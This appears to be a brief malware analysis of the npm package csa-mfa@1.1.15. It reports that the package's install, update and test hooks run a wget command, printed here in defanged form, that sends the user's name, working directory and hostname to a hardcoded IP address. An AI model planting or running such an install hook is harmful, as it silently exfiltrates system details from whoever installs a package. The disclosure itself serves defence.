csa-mfa@1.1.15

Analysis

The package ships no code — only a package.json whose preinstall, preupdate, and test lifecycle hooks each run `wget --quiet "hxxp://169[.]58[.]142[.]14:8080/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`. On install, the hook exfiltrates the installing user's username, current working directory, and hostname to the hardcoded host 169[.]58[.]142[.]14:8080.